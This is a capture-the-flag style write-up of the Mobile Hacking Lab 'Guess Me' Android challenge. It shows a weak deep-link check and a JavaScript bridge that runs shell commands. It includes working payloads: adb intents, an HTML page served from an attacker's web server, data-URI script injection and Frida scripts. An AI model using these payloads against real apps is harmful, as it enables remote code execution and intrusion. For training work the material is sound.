Guess Me - Mobile Hacking Lab
Introduction
Welcome to the “Guess Me” Deep Link Exploitation Challenge! Immerse yourself in the world of cybersecurity with this hands-on lab. This challenge revolves around a fictitious “Guess Me” app, shedding light on a critical security flaw related to deep links that can lead to remote code execution within the app’s framework.
Objective
Exploit a Deep Link Vulnerability for Remote Code Execution: Your mission is to manipulate the deep link functionality in the “Guess Me” Android application, allowing you to execute remote code and gain unauthorized access.
Analyzing the application using JADX
From: AndroidManifest.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<activity
android:name="com.mobilehackinglab.guessme.MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity
android:name="com.mobilehackinglab.guessme.WebviewActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="mhl"
android:host="mobilehackinglab"/>
</intent-filter>
</activity>
From: com.mobilehackinglab.guessme.WebviewActivity
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package com.mobilehackinglab.guessme;
public final class WebviewActivity extends AppCompatActivity {
private WebView webView;
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
WebSettings webSettings = webView.getSettings();
Intrinsics.checkNotNullExpressionValue(webSettings, "getSettings(...)");
webSettings.setJavaScriptEnabled(true);
WebView webView3 = this.webView;
if (webView3 == null) {
Intrinsics.throwUninitializedPropertyAccessException("webView");
webView3 = null;
}
webView3.addJavascriptInterface(new MyJavaScriptInterface(), "AndroidBridge");
WebView webView4 = this.webView;
if (webView4 == null) {
Intrinsics.throwUninitializedPropertyAccessException("webView");
webView4 = null;
}
webView4.setWebViewClient(new WebViewClient());
WebView webView5 = this.webView;
if (webView5 == null) {
Intrinsics.throwUninitializedPropertyAccessException("webView");
} else {
webView2 = webView5;
}
webView2.setWebChromeClient(new WebChromeClient());
loadAssetIndex();
handleDeepLink(getIntent());
}
}
JavaScript Enabled:
1
webSettings.setJavaScriptEnabled(true);
This line allows the WebView to execute JavaScript code — which is often dangerous if not handled properly.
addJavascriptInterface():
1
webView3.addJavascriptInterface(new MyJavaScriptInterface(), "AndroidBridge");
This binds the MyJavaScriptInterface()
class to the WebView JavaScript context with the object name AndroidBridge.
1
2
3
4
5
6
7
private final boolean isValidDeepLink(Uri uri) {
if ((!Intrinsics.areEqual(uri.getScheme(), "mhl") && !Intrinsics.areEqual(uri.getScheme(), "https")) || !Intrinsics.areEqual(uri.getHost(), "mobilehackinglab")) {
return false;
}
String queryParameter = uri.getQueryParameter("url");
return queryParameter != null && StringsKt.endsWith$default(queryParameter, "mobilehackinglab.com", false, 2, (Object) null);
}
The app only allows deep links with the following format:
1
2
mhl://mobilehackinglab?url=someurl.mobilehackinglab.com
https://mobilehackinglab?url=someurl.mobilehackinglab.com
It checks:
scheme
→ Must be mhl or httpshost
→ Must be mobilehackinglaburl
query parameter → Must end withmobilehackinglab.com
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
private final void handleDeepLink(Intent intent) {
Uri uri = intent != null ? intent.getData() : null;
if (uri != null) {
if (isValidDeepLink(uri)) {
loadDeepLink(uri);
} else {
loadAssetIndex();
}
}
}
private final void loadDeepLink(Uri uri) {
String fullUrl = String.valueOf(uri.getQueryParameter("url"));
WebView webView = this.webView;
WebView webView2 = null;
if (webView == null) {
Intrinsics.throwUninitializedPropertyAccessException("webView");
webView = null;
}
webView.loadUrl(fullUrl);
WebView webView3 = this.webView;
if (webView3 == null) {
Intrinsics.throwUninitializedPropertyAccessException("webView");
} else {
webView2 = webView3;
}
webView2.reload();
}
private final void loadAssetIndex() {
WebView webView = this.webView;
if (webView == null) {
Intrinsics.throwUninitializedPropertyAccessException("webView");
webView = null;
}
webView.loadUrl("file:///android_asset/index.html");
}
public final class MyJavaScriptInterface {
public MyJavaScriptInterface() {
}
@JavascriptInterface
public final void loadWebsite(String url) {
Intrinsics.checkNotNullParameter(url, "url");
WebView webView = WebviewActivity.this.webView;
if (webView == null) {
Intrinsics.throwUninitializedPropertyAccessException("webView");
webView = null;
}
webView.loadUrl(url);
}
@JavascriptInterface
public final String getTime(String Time) {
Intrinsics.checkNotNullParameter(Time, "Time");
try {
Process process = Runtime.getRuntime().exec(Time);
InputStream inputStream = process.getInputStream();
Intrinsics.checkNotNullExpressionValue(inputStream, "getInputStream(...)");
Reader inputStreamReader = new InputStreamReader(inputStream, Charsets.UTF_8);
BufferedReader reader = inputStreamReader instanceof BufferedReader ? (BufferedReader) inputStreamReader : new BufferedReader(inputStreamReader, 8192);
String readText = TextStreamsKt.readText(reader);
reader.close();
return readText;
} catch (Exception e) {
return "Error getting time";
}
}
}
The app exposes two methods to the WebView using the AndroidBridge
interface:
loadWebsite(String url)
→ This loads any URL into the WebView.getTime(String Time)
→ This method directly executes system commands using:
1
Process process = Runtime.getRuntime().exec(Time);
From: assets/index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<p id="result">Thank you for visiting</p>
<!-- Add a hyperlink with onclick event -->
<a href="#" onclick="loadWebsite()">Visit MobileHackingLab</a>
<script>
function loadWebsite() {
window.location.href = "https://www.mobilehackinglab.com/";
}
// Fetch and display the time when the page loads
var result = AndroidBridge.getTime("date");
var lines = result.split('\n');
var timeVisited = lines[0];
var fullMessage = "Thanks for playing the game\n\n Please visit mobilehackinglab.com for more! \n\nTime of visit: " + timeVisited;
document.getElementById('result').innerText = fullMessage;
</script>
</body>
</html>
From: com.mobilehackinglab.guessme.MyJavaScriptInterface
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public final class MyJavaScriptInterface {
@JavascriptInterface
public final String getTime(String time) {
Intrinsics.checkNotNullParameter(time, "time");
try {
Process process = Runtime.getRuntime().exec(new String[]{"/system/bin/sh", "-c", time});
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder output = new StringBuilder();
while (true) {
String it = reader.readLine();
if (it != null) {
output.append(it).append("\n");
} else {
reader.close();
String sb = output.toString();
Intrinsics.checkNotNullExpressionValue(sb, "toString(...)");
return StringsKt.trim((CharSequence) sb).toString();
}
}
} catch (Exception e) {
return "Error getting time and listing files";
}
}
}
The getTime()
method is exposed to JavaScript via:
1
webView.addJavascriptInterface(new MyJavaScriptInterface(), "AndroidBridge");
The app allows JavaScript to call:
1
AndroidBridge.getTime("command_here")
Using adb
to open google.com in the webview
1
adb shell am start -a android.intent.action.VIEW -n com.mobilehackinglab.guessme/.WebviewActivity -d "https://mobilehackinglab?url=http://google.com?any=mobilehackinglab.com"
to get RCE:
start python web server
1
python -m http.server
1
adb shell am start -a android.intent.action.VIEW -n com.mobilehackinglab.guessme/.WebviewActivity -d "https://mobilehackinglab?url=http://192.168.1.8:8000/guessme.html?any=mobilehackinglab.com"
guessme.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<p id="result">Thank you for visiting</p>
<!-- Add a hyperlink with onclick event -->
<a href="#" onclick="loadWebsite()">Visit MobileHackingLab</a>
<script>
function loadWebsite() {
window.location.href = "https://www.mobilehackinglab.com/";
}
// Fetch and display the time when the page loads
var result = AndroidBridge.getTime("id");
var lines = result.split('\n');
var timeVisited = lines[0];
var fullMessage = "Thanks for playing the game\n\n Please visit mobilehackinglab.com for more! \n\nTime of visit: " + timeVisited;
document.getElementById('result').innerText = fullMessage;
</script>
</body>
</html>
Android app PoC
XSS
1
2
3
4
5
6
7
Intent intent = new Intent();
intent.setClassName("com.mobilehackinglab.guessme", "com.mobilehackinglab.guessme.WebviewActivity");
intent.setData(Uri.parse("https://mobilehackinglab?url=data:text/html,<h1>test</h1><script>alert(1)</script><!--mobilehackinglab.com"));
intent.setAction("android.intent.action.VIEW");
startActivity(intent);
direct HTML content in the url
1
2
3
4
5
6
7
8
9
Intent intent = new Intent();
intent.setClassName("com.mobilehackinglab.guessme", "com.mobilehackinglab.guessme.WebviewActivity");
intent.setData(Uri.parse("https://mobilehackinglab?url=data:text/html,<h1>test</h1><div id=\"myDiv\"></div><script>let command = AndroidBridge.getTime(\"id\");document.getElementById(\"myDiv\").innerHTML += command;</script><!--mobilehackinglab.com"));
intent.setAction("android.intent.action.VIEW");
startActivity(intent);
using python server
1
2
3
4
5
6
7
Intent intent = new Intent();
intent.setClassName("com.mobilehackinglab.guessme", "com.mobilehackinglab.guessme.WebviewActivity");
intent.setData(Uri.parse("https://mobilehackinglab?url=http://<ip:port>/guessme.html?any=mobilehackinglab.com"));
intent.setAction("android.intent.action.VIEW");
startActivity(intent);
Get the Secret Number with frida
Getting the secret number is not essential for exploiting the lab, but it serves as additional practice with Frida for better understanding and hands-on experience.
Get the Secret Number With frida
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Java.perform(function() {
Java.choose('com.mobilehackinglab.guessme.MainActivity',{
// If an instance has been found
onMatch: function(instance) {
send(" The original instance has been identified");
console.log("[+] Secret Number: " + instance.secretNumber.value);
},
// Done scanning app memory
onComplete: function() {
send("Done scanning the app memory instances");
}
});
});
OR
1
2
3
4
5
6
7
8
Java.perform(() => {
let MainActivity = Java.use("com.mobilehackinglab.guessme.MainActivity");
MainActivity.validateGuess.implementation = function () {
console.log(`validateGuess is called`);
console.log(`secretNumber: ${this.secretNumber.value}`);
this.validateGuess();
};
});
1
frida -U -f com.mobilehackinglab.guessme -l getSecret.js